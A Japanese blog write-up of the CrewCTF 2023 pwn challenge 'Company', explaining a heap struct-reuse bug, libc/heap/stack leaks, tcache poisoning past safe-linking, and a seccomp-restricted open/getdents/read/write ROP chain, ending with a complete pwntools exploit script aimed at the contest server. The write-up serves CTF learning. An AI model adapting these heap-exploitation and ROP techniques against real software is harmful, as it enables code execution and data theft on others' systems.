📝

CrewCTF 2023 Company writeup

2023/07/13に公開

CrewCTF 2023のWrite upです.
コンテスト中にpwn問が解けなかったのでupsolveしつつまとめました.
間違いや不適切な記述等ありましたらご指摘お願いします.

Company

ファイルが手元にある前提で書いているため,持ってない方はダウンロードすることをおすすめします.Discordのアナウンスによるとあと数日でスコアサーバーが閉じられてしまうそうです.

challenges can still be found https://crewc.tf/challenges here till we get the website down ( likely few days )!!!

解析

バイナリ,リンカ,libcが渡されます.libcのバージョンが2.37だったので最新のlibc何もわからんなぁと思いながらとりあえずcompanyのバイナリを解析しました.

とりあえずいつも通りchecksecを実行します.
PIEが無効であることがわかりました.

セキュリティ機構の確認

細かい挙動については各自解析してもらうあとで書くことにして,ここでは一番重要なemployee構造体だけ書いておきます.

struct employee {
    char name[0x20];      //0x0~0x20
    char position[0x20];  //0x20~0x40
    void* feedback;       //0x40~0x48
    long long salary;     //0x48~0x50
};

feedbackとemployeeはどちらもheapに保存されます.サイズがどちらも同じであるので,以前feedbackであった位置をemployeeに割り当てることで任意の値を持つemployeeを作成することができるという脆弱性があります.この脆弱性と,4の"view feedback employee"を使うと任意のアドレスを読み出すことができます.また,以下の流れでchunk_headerを偽造した領域に任意書き込みをおこなうこともできます.

  1. employee Zを作成
  2. employee Aを作成
  3. A -> A のfeedbackを作成し,0x40バイト目に任意書き込みを行いたいアドレスを入力
  4. Aをfire
  5. employee Bを作成
  6. Bをfire
  7. Z -> Z のfeedbackを作成 (内容が3で入力したアドレスに保存される)

攻撃

  1. view feeedback employeeの開放
  2. libc leak
  3. heap leak
  4. stack leak
  5. RIP取得
  6. ROP

これらを順番に達成できれば任意コード実行ができそうです.
以下示すコードに使われているシンボルの定義をしておきます

sa = lambda x, y: t.sendafter(x, y)
sla = lambda x, y: t.sendlineafter(x, y)
to64 = lambda x: u64(x.ljust(8, b"\x00"))

view feedback employeeの開放

0x00401771にある関数をview_feedbackと呼ぶことにします.
view_feedbackの中身を読むと,0x404080の中身がHRと等しいかどうかのチェックが存在し,このアドレスには初期化時にStaffが代入されるので書き換えてあげる必要があります.
以下のコードではnameをchunk_headerとして使ったため,0x404070をfreeしています.

sla(b"name? ", p64(0) + p64(0x61))

register(0, b"", b"HR", 0)
register(1, b"", b"HR", 0)
feedback(1, 1, b"@" * 0x40 + p32(0x404070))
fire(1)
register(1, b"", b"", 0)
fire(1)
feedback(0, 0, b"@" * 0x10 + b"HR")

libc leak

PIEが無効なので,GOTテーブルを読むとlibc leakができます.

register(1, b"", b"HR", 0)
feedback(1, 1, b"@" * 0x40 + p32(0x403FA0))
fire(1)
register(1, b"", b"HR", 0)
libc_base = u64(view(1).ljust(8, b"\x00")) - 0x7AA10
info(f"{libc_base=:x}")

stack leak

libcがleakできたのでenvironを読むとleakできます.

register(1, b"", b"HR", 0)
feedback(1, 1, b"@" * 0x40 + p64(libc.sym["environ"]))
fire(1)
register(1, b"", b"HR", 0)
stack_base = u64(view(1).ljust(8, b"\x00"))
info(f"{stack_base=:x}")

heap leak

PROTECT_PTR[1]があるのでtcache binに繋がれた最後の要素には pos >> 12 が入ります.それを読み出してあげればheap_baseがleakできます.

register(1, b"", b"HR", 0)
feedback(1, 1, b"")
fire(1)
register(1, b"", b"HR", 0)
register(2, b"", b"HR", 0)
feedback(1, 1, b"")
fire(1)
heap_base = to64(view(2)) << 12
info(f"{heap_base=:x}")

rip取得

最初にexit_funcsを使う方法[2]を試しましたが,libc2.37ではlibc_baseからtcbhead_tまでのオフセットが毎回変わるようになっており,pointer_guardを読み出す方法が思いつかなかったので挫折しました.(そもそもexcveが使えないというのは後で気づきました)

なのでstagerを作ってROPをすることにしました.
Freeされた領域のfdを書き換えることで次のmalloc時に任意のアドレスをtcache binの先頭に入れられるという仕組みを利用し,tcache binの先頭にstackのアドレスを入れました.

tcache binの書き換え

連続した2つの領域を得るためにtcache binを空にします.しかし,tcache binが空になられると今度は任意のアドレスにmallocする前にtcache countが0になってしまいうまく動かなくなるので,tcache countを増やすために0xFをfireしています.

feedback(0, 0, b"")
feedback(0, 0, b"")
feedback(0, 0, b"")
feedback(0, 0, b"")
feedback(0, 0, b"")

register(0xF, b"", b"HR", 0)
feedback(0xF, 0xF, b"")
fire(0xF)

fdの書き換え

あとはfdを書き換えてtcache binの先頭がstackを指すようにしてあげれば良いです.

register(1, b"", b"", 0x61)
register(2, b"", b"HR", 0)
fake_chunk_header = heap_base + 0x10C0
info(f"fake chunk: {fake_chunk_header=:x}")
feedback(2, 2, b"@" * 0x40 + p64(fake_chunk_header))
fire(2)
register(2, b"", b"", 0)
fire(2)
ret_ptr = stack_base - 0x168
info(f"{ret_ptr=:x}")
feedback(0,0,p64(0) + p64(0x61) + p64(mangle(fake_chunk_header + 0x10, ret_ptr)))
feedback(0, 0, b"")

ROP

最後に/bin/shを呼び出して終わり...とは行きませんでした.
seccomp_ruleが適用されており,使えるsyscallはsys_read,sys_write,sys_open,sys_getdentsの4つのみに限定されているためです.なのでまずsys_getdentsを使ってlsのようなことをして,flagの名前を特定する必要があります.まずは一通り使えそうなgadgetを定義しておきます.

gadgets
pop_rdi = libc_base + 0x24821
pop_rsi = libc_base + 0x2573E
pop_rdx = libc_base + 0x26302
pop_rax = libc_base + 0x1205E3
syscall = libc_base + 0x8B9B6
heap_tmp = heap_base + 0x2000
read_size = 0x1000

stager

疑似lsを行う前に,現在書き込みを行えるサイズが0x48のみとかなり狭いため,stagerを用意します.
なお,rdiを0にする命令がコメントアウトされているのは,ret命令に来る時点ですでに0にセットされているためです.

stager
stager = (
p64(pop_rax)
+ p64(0)
# + p64(pop_rdi)
# + p64(0)
+ p64(pop_rsi)
+ p64(rbp + 8 * (1 + 7)) #rpb + stagerのサイズ
+ p64(pop_rdx)
+ p64(0x1000)
+ p64(syscall)
)
feedback(0, 0, p64(stack_base - 0x128) + stager)

これで0x1000byte書き込めるようになりました.

flag名の取得

まずはsys_getdentsを使って疑似lsをします.参考にしたページ

ls_imit
int fd = open(".",O_RDONLY | O_DIRECTORY);
int nread = syscall(SYS_getdents, fd, buf, 0x1000);
for (size_t bpos = 0; bpos < nread;) {
	struct linux_dirent *d = (struct linux_dirent *) (buf + bpos);
	printf("%s\n",d->d_name);
	bpos += d->d_reclen;
}

これをROPで書き直すとこうなります.

payload = (
	p64(pop_rax)
	+ p64(2)
	+ p64(pop_rdi)
	+ p64(0x404088)
	+ p64(pop_rsi)
	+ p64(0x10000)
	+ p64(syscall)
)
payload += (
	p64(pop_rax)
	+ p64(78)
	+ p64(pop_rdi)
	+ p64(3)
	+ p64(pop_rsi)
	+ p64(heap_tmp)
	+ p64(pop_rdx)
	+ p64(read_size)
	+ p64(syscall)
)
payload += (
	p64(pop_rax)
	+ p64(1)
	+ p64(pop_rdi)
	+ p64(1)
	+ p64(pop_rsi)
	+ p64(heap_tmp + 0x13)
	+ p64(pop_rdx)
	+ p64(read_size)
	+ p64(syscall)
)
t.send(payload)
ls = t.recv(read_size)
info(re.findall(r'[0-9A-z-._]{3,}',"".join([chr(e) for e in ls])))

使われてないheap領域にsys_getdentsして,それを読み出しています.
なお,"."という文字列を保存する場所として,0x404088を選びました.0x404080にHRという文字列を保存したあとの領域が余っていたためです.view feedback employeeの開放のコードを下のように書き換えました.

lstr = lambda x: x.ljust(8, b"\x00")
feedback(0, 0, b"@" * 0x10 + lstr(b"HR") + lstr(b".") + lstr(b"/") + lstr(b"~"))

これを実行するとflagファイルの名前がflag_you_found_this_my_treasure_leaked.txtであることがわかります.

疑似lsの実行結果

flagの読み出し

あとはこのファイルの中身をメモリ上に展開するだけです.以下のコードを実行すると展開して読み出すことができます.

payload = (
        p64(pop_rax)
        + p64(2)
        + p64(pop_rdi)
        + p64(heap_base + 0x10D0)
        + p64(pop_rsi)
        + p64(0x0)
        + p64(syscall)
)
payload += (
        p64(pop_rax)
        + p64(0)
        + p64(pop_rdi)
        + p64(3)
        + p64(pop_rsi)
        + p64(heap_tmp)
        + p64(pop_rdx)
        + p64(read_size)
        + p64(syscall)
)
payload += (
p64(pop_rax)
	+ p64(1)
	+ p64(pop_rdi)
	+ p64(1)
	+ p64(pop_rsi)
	+ p64(heap_tmp)
	+ p64(pop_rdx)
	+ p64(read_size)
        + p64(syscall)
)
t.send(payload)
info(t.recv(read_size).replace(b"\x00", b""))

なお,flag_you_found_this_my_treasure_leaked.txtはRIP取得最後のフィードバック時にヒープ上に置くようにしました.0x404080のあとに置こうとするとemployeeを保存する場所に被ってしまうためです.

スクリプト

最終的に出来上がった攻撃スクリプトが以下になります.

exploit.py
from pwn import *

context.arch = "amd64"
context.bits = 64
context.terminal = "tmux splitw -h".split()
context.log_level = "DEBUG"


def solve():
    sa = lambda x, y: t.sendafter(x, y)
    sla = lambda x, y: t.sendlineafter(x, y)
    sf = lambda x: f"{x}".encode()
    to64 = lambda x: u64(x.ljust(8, b"\x00"))
    mangle = lambda pos, ptr: (pos >> 12) ^ ptr

    def register(idx: int, name: bytes, pos: bytes, salary: int):
        sla(b">>", b"1")
        sla(b"Index:", sf(idx))
        sa(b"Name:", name + b"\x00")
        sa(b"Position:", pos + b"\x00")
        sla(b"Salary: ", sf(salary))

    def fire(idx: int):
        sla(b">> ", b"2")
        sla(b"Index:", sf(idx))

    def feedback(fr: int, to: int, content: bytes):
        sla(b">> ", b"3")
        sla(b"are?", sf(fr))
        sla(b"back?", sf(to))
        if content.endswith(b"\x00"):
            sa(b"Feedback: ", content)
        else:
            sa(b"Feedback: ", content + b"\x00")

    def view(idx: int) -> bytes:
        sla(b">> ", b"4")
        sla(b"see?", sf(idx))
        return t.recvuntil(b"1. ")[11:-4]

    # make myself HR
    sla(b"name? ", p64(0) + p64(0x61))

    register(0, b"", b"HR", 0)
    register(1, b"", b"HR", 0)
    feedback(1, 1, b"@" * 0x40 + p64(0x404070))
    fire(1)
    register(1, b"", b"", 0)
    fire(1)
    lstr = lambda x: x.ljust(8, b"\x00")
    feedback(
        0,
        0,
        b"@" * 0x10 + lstr(b"HR"),
    )

    # heap leak
    register(1, b"", b"HR", 0)
    feedback(1, 1, b"")
    fire(1)
    register(1, b"", b"HR", 0)
    register(2, b"", b"HR", 0)
    feedback(1, 1, b"")
    fire(1)
    heap_base = to64(view(2)) << 12
    info(f"{heap_base=:x}")
    feedback(2, 2, b"")
    fire(2)

    # libc leak
    register(1, b"", b"HR", 0)
    feedback(1, 1, b"@" * 0x40 + p64(0x403FA0))
    fire(1)
    register(1, b"", b"HR", 0)
    libc_base = u64(view(1).ljust(8, b"\x00")) - 0x7AA10
    info(f"{libc_base=:x}")
    libc.address = libc_base
    feedback(1, 1, b"")
    fire(1)

    # stack leak
    register(1, b"", b"HR", 0)
    feedback(1, 1, b"@" * 0x40 + p64(libc.sym["environ"]))
    fire(1)
    register(1, b"", b"HR", 0)
    stack_base = u64(view(1).ljust(8, b"\x00"))
    info(f"{stack_base=:x}")
    feedback(1, 1, b"")
    fire(1)

    # # canary leak
    # canary_loc = stack_base - 0x12F
    # register(1, b"", b"HR", 0)
    # feedback(1, 1, b"@" * 0x40 + p64(canary_loc))
    # fire(1)
    # register(1, b"", b"HR", 0)
    # canary = u64(view(1)[:7].ljust(8, b"\x00")) << 8
    # info(f"{canary=:x}")
    # feedback(1, 1, b"")
    # fire(1)

    # empty tcache
    feedback(0, 0, b"")
    feedback(0, 0, b"")
    feedback(0, 0, b"")
    feedback(0, 0, b"")
    feedback(0, 0, b"")

    # overwrite fd
    register(0xF, b"", b"HR", 0)
    feedback(0xF, 0xF, b"")
    fire(0xF)
    register(1, b"", b"", 0x61)
    register(2, b"", b"HR", 0)
    fake_chunk_header = heap_base + 0x10C0
    info(f"fake chunk: {fake_chunk_header=:x}")
    feedback(2, 2, b"@" * 0x40 + p64(fake_chunk_header))
    fire(2)
    register(2, b"", b"", 0)
    fire(2)
    rbp = stack_base - 0x168
    info(f"{rbp=:x}")
    feedback(
        0,
        0,
        p64(0) + p64(0x61) + p64(mangle(fake_chunk_header + 0x10, rbp)),
    )
    feedback(0, 0, b"flag_you_found_this_my_treasure_leaked.txt")

    # ROP
    pop_rdi = libc_base + 0x24821
    pop_rsi = libc_base + 0x2573E
    pop_rdx = libc_base + 0x26302
    pop_rax = libc_base + 0x1205E3
    syscall = libc_base + 0x8B9B6
    heap_tmp = heap_base + 0x2000
    read_size = 0x1000
    stager = (
        p64(pop_rax)
        + p64(0)
        # + p64(pop_rdi)
        # + p64(0)
        + p64(pop_rsi)
        + p64(rbp + 8 * (1 + 7))  # rpb + nint
        + p64(pop_rdx)
        + p64(0x500)
        + p64(syscall)
    )
    feedback(0, 0, p64(stack_base - 0x128) + stager)

    # payload = ( p64(pop_rax) + p64(2) + p64(pop_rdi) + p64(0x404088) + p64(pop_rsi) + p64(0x10000) + p64(syscall))
    # payload += ( p64(pop_rax) + p64(78) + p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_tmp) + p64(pop_rdx) + p64(read_size) + p64(syscall))
    # payload += ( p64(pop_rax) + p64(1) + p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_tmp + 0x13) + p64(pop_rdx) + p64(read_size) + p64(syscall))
    # info(re.findall(r'[0-9A-z-._]{3,}',"".join([chr(e) for e in ls])))
    payload = (
        p64(pop_rax)
        + p64(2)
        + p64(pop_rdi)
        + p64(heap_base + 0x10D0)
        + p64(pop_rsi)
        + p64(0x0)
        + p64(syscall)
    )
    payload += (
        p64(pop_rax)
        + p64(0)
        + p64(pop_rdi)
        + p64(3)
        + p64(pop_rsi)
        + p64(heap_tmp)
        + p64(pop_rdx)
        + p64(read_size)
        + p64(syscall)
    )
    payload += (
        p64(pop_rax)
        + p64(1)
        + p64(pop_rdi)
        + p64(1)
        + p64(pop_rsi)
        + p64(heap_tmp)
        + p64(pop_rdx)
        + p64(read_size)
        + p64(syscall)
    )
    t.send(payload)
    info(t.recv(read_size).replace(b"\x00", b""))

    t.interactive()


debug = 0
radare = 0
# t: tubes.process.process = process("./company", env={"LD_PRELOAD": "./libc.so.6"})
t: tubes.remote.remote = remote("company.chal.crewc.tf", 17001)
elf: ELF = ELF("./company")
libc: ELF = ELF("./libc.so.6")
if debug:
    script = """
    """
    if radare:
        util.proc.wait_for_debugger(util.proc.pidof(t)[0])
    else:
        gdb.attach(t, script)
solve()

おわりに

これが22solveされる世界怖すぎませんか?????

脚注
  1. https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/ ↩︎

  2. https://kam1tsur3.org/2022/06/22/get-rip-in-libc/#exit-funcs-x2F-pointer-guard ↩︎

Discussion